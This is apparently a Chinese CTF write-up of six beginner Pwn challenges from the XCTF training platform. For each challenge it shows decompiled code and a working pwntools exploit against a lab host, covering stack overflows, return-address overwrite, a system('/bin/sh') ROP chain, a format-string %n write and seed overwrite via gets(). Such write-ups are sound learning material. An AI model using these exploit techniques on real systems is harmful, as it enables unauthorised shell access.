当前位置: 首页 > article >正文

攻防世界 CTF Pwn(一)

前言

攻防世界是一个专注于网络安全的在线学习和竞赛平台,由赛宁网安推出,旨在为网络安全爱好者提供丰富的学习资源和实战竞赛环境。该平台自2018年9月推出以来,已经吸引了超过18万用户注册使用,月活跃用户超过5万。

平台的主要特点包括:

  1. 学习训练:提供系统安全、Web安全、逆向分析、二进制漏洞挖掘、流量分析、协议分析、IoT等多个类型的学习资源,以及400+在线操作环境,支持用户根据自己的兴趣和学习计划进行练习。
  2. 竞赛实战:平台收录了历届XCTF国际联赛的海量题库资源,用户可以通过解决实际问题来提升自己的网络安全技能。
  3. 自助办赛:提供轻量级高品质网络安全竞赛产品,支持高校、企业和安全团队组织攻防对抗演练,降低办赛门槛。
  4. 社区交流:打造专业的网安交流社区,邀请国内外优秀的CTF战队入驻,提供展示空间,分享赛事信息、解题思路和技术文章。

攻防世界平台的改版升级,增加了实训、竞赛、办赛、社区等多功能,致力于构建一个全面、专业的网络安全学习环境,帮助用户提升网络安全技术水平,并为网络安全人才的成长提供支持。平台网址为:https://adworld.xctf.org.cn 。

此外,攻防世界还提供了一些具体的题目和解题思路,例如在CSDN博客中,有用户分享了攻防世界中的一些题目的解题方法,包括逆向分析、Pwn等类型的题目 。这些资源对于希望提升网络安全实战技能的用户来说非常有价值。

一、get_shell

打开靶场

使用 Exeinfo PE 查看是 32 位还是 64 位

知道是 64 位后拖进 IDA64 分析查看主函数 main

按 F5 反编译

int __fastcall main(int argc, const char **argv, const char **envp)
{
  puts("OK,this time we will get a shell.");
  // 这行代码实际上会启动一个新的shell
  system("/bin/sh");
  return 0;
}

已知会启动一个新 shell,我们可以直接 nc 连接或者编写 Python 脚本  

脚本如下

from pwn import *

// remote 函数是 pwntools 库中的一个函数,它用于建立与远程主机的连接
r = remote("61.147.171.105","51234")

// sendline() 默认发送一个换行符(\n)
r.sendline()

// 调用了 interactive 方法,它将当前的 pwntools 网络连接转换为交互式模式
r.interactive()

二、hello_pwn

打开靶场

使用 checksec 查看

可以得出:

        1. 该文件由 amd64 架构编译

        2. 只有部分 GOT 表被标记为不可执行

        3. 该二进制文件没有使用栈保护

        4. 该二进制文件启用了 NX 保护

        5. 表示该二进制文件没有使用 PIE

参考题目描述:pwn!,segment fault!菜鸡陷入了深思

拖入 IDA64 反编译 

让我们深度解析一下伪代码 

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  // alarm 函数用于设置一个定时器
  alarm(0x3Cu);

  // setbuf 函数用于设置标准输出(stdout)的缓冲区,这里为 NULL
  setbuf(stdout, 0LL);

  puts("~~ welcome to ctf ~~     ");
  puts("lets get helloworld for bof");

  // 第一个参数为要读取的文件,为 0 代表标准输入
  // 第二个参数为要将读取的内容保存的缓冲区
  // 第三个参数读取文件的长度,这里表示读取 16 字节(10进制)的数据
  read(0, &unk_601068, 0x10uLL);

  if ( dword_60106C == 1853186401 )
    sub_400686();
  return 0LL;
}

可以看到程序最后有个判断条件,查看执行函数是什么

双击跳转这个 dword_60106C 跳转,发现离我们输入保存的缓冲区只差四个字节

构造 Python 代码实现缓冲区溢出攻击

from pwn import *
r = remote("61.147.171.105", "60230")

// b'A'表示一个字节对象
// p64 函数将一个整数转换为一个 64 位的字节序列
payload = b'A' * 4 + p64(1853186401)

r.sendline(payload)
r.interactive()

三、level0

打开靶场

下载文件后先 Checksec

没有栈保护,结合题目描述应该是要利用栈溢出,先扔进 IDA64

主函数最后调用了 vulnerable_function 函数,去看看

这个函数将用户输入存储到了缓冲区 buf 中,去看看这个 buf

解析这段注释:

        “r”用于存储返回地址,即函数执行完毕后返回到调用者的位置

        “s”用于存储在函数调用期间需要保存的寄存器值 

去找执行命令的函数发现在 callsystem() 中

如果我们输入数据覆盖了 buf + s 则直接到了 r

因为 callsystem() 是 return 方式执行,所以一调用就会执行

当 r 返回的地址是 callsystem() 的话就会执行 shell

先查看函数地址在 Export 窗口中

构造 Python 脚本

from pwn import *
r = remote("61.147.171.105","63501")
payload = b'A' * 0x88 + p64(0x00400596)
r.sendline(payload)
r.interactive()

四、level2

打开靶场

先 Checksec 发现没有栈保护

直接扔进 32 位 IDA 反编译

调用了 vulnerable_function() 函数,去看看

用户输入存放到了 buf 中,去看看内存

和上一题是一样的,r 存储返回地址 

然后在别的函数中没有找到相关执行命令的代码,于是查看字符串

发现有 /bin/sh,前面有执行的 system 函数,那么可以将地址拼接起来执行命令

又因为没有栈保护,可通过溢出覆盖 buf 和 s 到 r 处写入

于是构造脚本

pwn从入门到放弃第六章——简单ROP | PWN? PWN!

参考文章的重点

from pwn import *
io = remote('61.147.171.105',52080)

# 使用 PwnTools 的 ELF 类来加载本地的ELF格式的二进制文件
elf = ELF('./level2')

# plt 属性代表“过程链接表”(Procedure Linkage Table)
# 它是一个跳转表,用于动态链接库中的函数调用
# 通过访问 plt 字典并使用 'system' 作为键,可以直接获得 system 函数的地址
system_adr = elf.plt['system']

# next 函数则获取第一个匹配的位置
# search 方法在ELF文件中搜索包含字节序列 b'/bin/sh' 的位置
binsh_adr = next(elf.search(b'/bin/sh'))

# 0x6666 用于覆盖 system 的函数返回地址(随便填,0xdeadbeef 也可以)
payload = b'a' * 140 + p32(system_adr) + p32(0x6666) + p32(binsh_adr)

# 服务器连接我们,所以需要这个函数接受
io.recv()

io.send(payload)
io.interactive()

五、CGfsb

打开靶场

先 checksec 一下,发现有栈保护 

扔进 IDA32 反编译一下

来看下主要代码就行

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _DWORD buf[2]; // [esp+1Eh] [ebp-7Eh] BYREF
  __int16 v5; // [esp+26h] [ebp-76h]
  char s[100]; // [esp+28h] [ebp-74h] BYREF
  unsigned int v7; // [esp+8Ch] [ebp-10h]

  // 读取GS寄存器的值并存储在 v7 中
  v7 = __readgsdword(0x14u);

  // 关闭标准输入的缓冲,使得每次读取都是直接从输入设备读取
  setbuf(stdin, 0);

  // 关闭标准输出的缓冲,使得每次输出都是直接显示到屏幕上
  setbuf(stdout, 0);

  // 关闭标准错误的缓冲,使得每次错误输出都是直接显示到屏幕上
  setbuf(stderr, 0);

  buf[0] = 0;
  buf[1] = 0;
  v5 = 0;

  // 使用 memset 函数将 s 数组的所有元素初始化为0
  memset(s, 0, sizeof(s));

  puts("please tell me your name:");
  read(0, buf, 0xAu);
  puts("leave your message please:");

  // 从标准输入读取一行文本到 s 数组中,最多读取99个字符
  fgets(s, 100, stdin);

  // (const char *)buf 是一个类型转换操作,它将 buf 数组的地址转换为一个指向常量字符的指针
  printf("hello %s", (const char *)buf);

  puts("your message is:");
  printf(s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }
  return 0;
}

这里 printf(s) 存在格式化字符串漏洞

因此本题关键在于利用输入的 s 构造 printf(s) 的格式化字符串漏洞

要利用输入修改 pwnme 的值,首先得知道输入进去的数据存在栈上的哪个位置,然后才能将这个位置和 pwnme 的地址对应起来 

aaaa 的值 0x61616161 出现在输出的第十个地址,因此我们的输入在栈上的偏移量为 10 

拿到 pwnme 地址

from pwn import *

// p32(0x0804A068) 是 pwnme 地址
// 接着 printf 遇到 %10$n,这会将已经打印的字符数(此时为 4 字节)写入到 pwnme 变量的地址(0x0804A068)
// %10$n 意味着我们告诉 printf 函数将已经打印的字符数写入栈上第 10 个位置的地址
// 而此地址正好是前面提供的 0x0804A068,也就是 pwnme 的地址
payload = p32(0x0804A068) + b'8888'+ b'%10$n'

p = remote('61.147.171.105',51841)
p.sendlineafter('tell me your name:','abcd')
p.sendlineafter('your message please:',payload)
p.interactive()

六、guess_num

打开靶场

先 checksec 一下没发现东西 

扔进 IDA64 反编译

我将核心代码标上了注释 

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v4; // [rsp+4h] [rbp-3Ch] BYREF
  int i; // [rsp+8h] [rbp-38h]
  int v6; // [rsp+Ch] [rbp-34h]
  char v7[32]; // [rsp+10h] [rbp-30h] BYREF
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);

  v4 = 0;
  v6 = 0;
  
  // 调用函数 sub_BB0 并将其返回值存储在 seed 变量中
  *(_QWORD *)seed = sub_BB0();

  puts("-------------------------------");
  puts("Welcome to a guess number game!");
  puts("-------------------------------");
  puts("Please let me know your name!");
  printf("Your name:");

  // 使用 gets 函数读取用户输入的名字
  gets(v7);

  // 使用 seed 数组的第一个元素作为随机数生成器的种子
  srand(seed[0]);

  for ( i = 0; i <= 9; ++i )
  {
    // 生成一个1到6之间的随机数
    v6 = rand() % 6 + 1;

    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v4);
    puts("---------------------------------");
    if ( v4 != v6 )
    {
      puts("GG!");
      exit(1);
    }
    puts("Success!");
  }
  sub_C3E();
  return 0LL;
}

我们先来看程序最后调用的函数是什么

推断出这个猜数游戏会进行十个回合,如果十个回合都能猜对数的话则能拿到 flag

补充知识:

        1. srand 函数用于设置随机数生成器的种子。种子是一个初始值,它决定了随机数序列的开始点

        2. 当你第一次调用 rand 函数时,如果没有先调用 srandrand 函数会默认使用一个种子值(通常是1)

        3. gets() 函数存在缓冲区溢出漏洞

先查看 gets() 函数存储用户输入的地址

可以看到离 seed 相差 32,那么我们可以通过这个函数的缓冲区溢出漏洞改写 seed 的值

从而让 seed 唯一,继而让后续的随机数相同来满足 if 条件 

如果我们让服务器的 seed 值为 1,再本地调用相同代码并设置种子相同如 srand(1),那么我们本地生成数与服务器的数是相同的

这样就满足的 if 条件拿到 flag

from pwn import *

# 允许调用 C 语言库中的函数
from ctypes import *

# 使用 ctypes 的 cdll.LoadLibrary 函数加载 Linux 系统的 C 标准库(glibc)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") 

# 缓冲区溢出漏洞设置 seed 为1
payload = b'a'*32 + p64(1) 

p = remote('61.147.171.105',60930)

# 调用加载的 libc 中的 srand 函数,传入固定的种子值 1
# 这将使得 libc 中的随机数生成器产生一个可预测的随机数序列
libc.srand(1)

# 等待从远程服务接收到包含 'name:' 的字符串,然后发送构造的 payload
# sendlineafter 函数会在匹配到指定字符串后发送下一行数据
p.sendlineafter('name:',payload) 

# 
for i in range(10):
    # 在每次循环中,等待从远程服务接收到包含 'number:' 的字符串,然后发送一个 1 到 6 之间的随机数
    # 这个随机数是通过调用 libc 中的 rand 函数生成的,由于之前已经调用了 srand(1),所以生成的随机数序列是可预测的
    p.sendlineafter('number:',str(libc.rand()%6 + 1)) 
p.interactive()

拿到 flag 

 


http://www.kler.cn/a/302179.html

相关文章:

  • Linux的mmap
  • 链表的详解
  • Java代码覆盖率super-jacoco
  • Postman接口测试工具使用详解
  • esp8266_TFTST7735语音识别UI界面虚拟小助手
  • 负载均衡的原理
  • Codeforces practice /C++ 2024/9/11 - 2024/9/12
  • HTML + js 生成一个线路走向图,可以标记总共有多少站,用户到达第几站了
  • 惩罚矩阵?动态规划是如何爱上矩阵的
  • MyBatis 源码解析:OGNL 表达式解析与使用
  • 银行业务架构指导应用架构规划及设计方法
  • Redis单机、集群、哨兵、主从架构详解
  • 【专题】2024跨境出海供应链洞察-更先进供应链报告合集PDF分享(附原数据表)
  • SpringBoot登录退出|苍穹外卖登录退出分析
  • 软硬链接与动静态库概览
  • 【Python机器学习】循环神经网络(RNN)——循环网络的记忆功能
  • 如何在Chrome中使用HTML构建交互式网页
  • sklearn-逻辑回归-特征工程示例
  • 深度学习-02 Pytorch
  • 安卓显示驱动
  • Flutter 响应式框架
  • Ubuntu20如何设置网络
  • 监控系统添加vcenter上的esxi主机
  • Kafka高吞吐量的原因
  • 苹果的“AI茅”之路只走了一半
  • Unity3D 自定义Debug双击溯源问题详解